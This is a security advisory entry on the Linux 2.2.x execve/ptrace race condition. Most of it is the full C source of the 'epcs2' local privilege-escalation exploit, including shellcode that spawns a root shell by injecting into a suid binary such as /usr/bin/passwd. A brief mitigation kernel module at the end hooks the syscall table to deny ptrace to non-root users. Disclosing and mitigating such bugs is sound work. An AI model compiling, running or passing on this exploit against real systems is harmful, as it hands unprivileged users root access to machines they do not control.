COMMAND

    kernel

SYSTEMS AFFECTED

    Linux Kernel 2.2.x

PROBLEM

    Silvio Mazzaro found following.  The execve/ptrace race  condition
    still  appears  to  work  on  linux  kernel  2.2.19..  Here is the
    exploit...  For original details see:

        http://oliver.efri.hr/~crv/security/bugs/Linux/krnl192.html

    The code posted bz Silvio:

    /*
    * epcs2 (improved by lst [liquid@dqc.org])
    * --------
    * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
    *
    * originally by:
    * (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl>
    *
    * improved by:
    * lst [liquid@dqc.org]
    *
    * This sploit does _not_ use brute force. It does not need that.
    * It does only one attemt to sploit the race condition in execve.
    * Parent process waits for a context-switch that occur after
    * child task sleep in execve.
    *
    * It should work even on openwall-patched kernels (I haven't tested it).
    *
    * Compile it:
    * cc epcs.c -o epcs
    * Usage:
    * ./epcs [victim]
    *
    * It gives instant root shell with any of a suid binaries.
    *
    * If it does not work, try use some methods to ensure that execve
    * would sleep while loading binary file into memory,
    *
    * i.e.: cat /usr/lib/* >/dev/null 2>&1
    *
    * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
    * This exploit does not work on 2.4.x because kernel won't set suid
    * privileges if user ptraces a binary.
    * But it is still exploitable on these kernels.
    *
    * Thanks to Bulba (he made me to take a look at this bug ;) )
    * Greetings to SigSegv team.
    *
    * -- d00t
    * improved by lst [liquid@dqc.org]
    * props to kevin for most of the work
    *
    * now works on stack non-exec systems with some neat trickery for the automated
    * method, ie. no need to find the bss segment via objdump
    *
    * particularly it now rewrites the code instruction sets in the
    * dynamic linker _start segment and continues execution from there.
    *
    * an aside, due to the fact that the code self-modified, it wouldnt work
    * quite correctly on a stack non-exec system without playing directly with
    * the bss segment (ie no regs.eip = regs.esp change). this is much more
    * automated. however, do note that the previous version did not trigger stack
    * non-exec warnings due to how it was operating. note that the regs.eip = regs.esp
    * method will break on stack non-exec systems.
    *
    * as always.. enjoy.
    *
    */

    #include <stdio.h>
    #include <fcntl.h>
    #include <sys/types.h>
    #include <signal.h>
    #include <linux/user.h>
    #include <sys/wait.h>
    #include <limits.h>
    #include <errno.h>
    #include <stdlib.h>

    #define CS_SIGNAL SIGUSR1
    #define VICTIM "/usr/bin/passwd"
    #define SHELL "/bin/sh"

    /*
    * modified simple shell code with some trickery (hand tweaks)
    */
    char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
    "\x31\xc0\xb0\x2e\xcd\x80"
    "\x31\xc0\x50\xeb\x17\x8b\x1c\x24" /* execve(SHELL) */
    "\x90\x90\x90\x89\xe1\x8d\x54\x24" /* lets be tricky */
    "\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
    "\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
    "\xff" SHELL "\x00\x00\x00" ; /* pad me */

    volatile int cs_detector=0;

    void cs_sig_handler(int sig)
    {
      cs_detector=1;
    }

    void do_victim(char * filename)
    {
      while (!cs_detector) ;
      kill(getppid(), CS_SIGNAL);
      execl(filename, filename, NULL);
      perror("execl");
      exit(-1);
    }

    int check_execve(pid_t victim, char * filename)
    {
      char path[PATH_MAX+1];
      char link[PATH_MAX+1];
      int res;

      snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
      if (readlink(path, link, sizeof(link)-1)<0) {
        perror("readlink");
        return -1;
      }

      link[sizeof(link)-1]='\0';
      res=!strcmp(link, filename);
      if (res) fprintf(stderr, "child slept outside of execve\n");
      return res;
    }

    int main(int argc, char * argv[])
    {
      char * filename=VICTIM;
      pid_t victim;
      int error, i;
      struct user_regs_struct regs;

      /* take our command args if you wanna play with other progs */
      if (argc>1) filename=argv[1];

      signal(CS_SIGNAL, cs_sig_handler);

      victim=fork();
      if (victim<0) {
        perror("fork: victim");
        exit(-1);
      }
      if (victim==0) do_victim(filename);

      kill(victim, CS_SIGNAL);
      while (!cs_detector) ;

      if (ptrace(PTRACE_ATTACH, victim)) {
        perror("ptrace: PTRACE_ATTACH");
        goto exit;
      }

      if (check_execve(victim, filename))
        goto exit;

      (void)waitpid(victim, NULL, WUNTRACED);
      if (ptrace(PTRACE_CONT, victim, 0, 0)) {
        perror("ptrace: PTRACE_CONT");
        goto exit;
      }

      (void)waitpid(victim, NULL, WUNTRACED);

      if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
        perror("ptrace: PTRACE_GETREGS");
        goto exit;
      }

      /* make sure that last null is in there */
      for (i=0; i<=strlen(shellcode); i+=4) {
        if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i,
          *(int*)(shellcode+i))) {
          perror("ptrace: PTRACE_POKETEXT");
          goto exit;
        }
      }

      if (ptrace(PTRACE_SETREGS, victim, 0, ®s)) {
        perror("ptrace: PTRACE_SETREGS");
        goto exit;
      }

      fprintf(stderr, "bug exploited successfully.\nenjoy!\n");

      if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
        perror("ptrace: PTRACE_DETACH");
        goto exit;
      }

      (void)waitpid(victim, NULL, 0);
      return 0;

    exit:
      fprintf(stderr, "d0h! error!\n");
      kill(victim, SIGKILL);
      return -1;
    }

SOLUTION

    Attached module disables ptrace for  non root users.  It  does not
    solve the problem, but prevents exploiting it.

    /* no ptrace module
       fast prevention for kenrel bug
       (c) 2001 a Lam3rZ oddysey
    */
    
    
    #define MODULE
    #define __KERNEL__
    
    #include <linux/module.h>
    #include <linux/sched.h>
    #include <linux/unistd.h>
    #include <sys/syscall.h>
    
    #ifndef KERNEL_VERSION
    #define KERNEL_VERSION(a,b,c) ((a)*65536+(b)*256+(c))
    #endif
    
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,0)
    #include <asm/unistd.h>
    #endif
    
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,14)
    #include <bits/syscall.h>
    #endif
    
    extern void *sys_call_table[];
    
    int (*orig_ptrace)(int, int, int, int);
    
    int no_ptrace (int request, int pid, int addr, int data) {
	    if (current->euid ==0 ) {
		    return (orig_ptrace)(request, pid, addr, data);
	    } else
	    return -1;
    }
    
    
    int init_module(void) {
    
	    orig_ptrace = sys_call_table[__NR_ptrace];
	    sys_call_table[__NR_ptrace]=no_ptrace;
	    return 0;
    }
    
    void cleanup_module(void) {
    
	    sys_call_table[__NR_ptrace]=orig_ptrace;
    }

    Adding something like...

        printk("ptrace(): uid=%d, comm=%s\n", current->uid, current->comm);

    ...before ,,return'' helps spotting potential abusers.